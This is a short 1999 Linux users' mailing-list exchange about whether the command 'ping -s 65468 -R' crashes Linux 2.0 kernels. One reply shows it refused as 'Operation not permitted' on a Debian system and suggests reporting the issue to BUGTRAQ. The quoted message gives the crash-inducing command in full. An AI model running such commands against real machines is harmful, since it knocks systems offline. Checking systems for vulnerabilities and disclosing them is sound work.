[plug] local DoS with ping -R

[Christian]

On Mon, 13 Dec 1999, Matt Kemner wrote:

> On Mon, 13 Dec 1999, Anthony J. Breeds-Taurima wrote:
> 
> So can you ping -s 65468 -R ?
> (WARNING, this will kill the machine if you're running 2.0)

hobbes:~$ ping -s 65468 -R 10.1.1.10
ping: Operation not permitted
hobbes:~$ uname -a
Linux hobbes 2.0.36 #2 Sun Feb 21 15:55:27 EST 1999 i586 unknown

Therefore Debian 2.1 (possibly 2.0?) is not vulnerable to this.  Matt,
maybe you could pass this on to BUGTRAQ if it hasn't already been
stated. (I'm a bit behind with my BUGTRAQ reading lately...)

Regards,

Christian.

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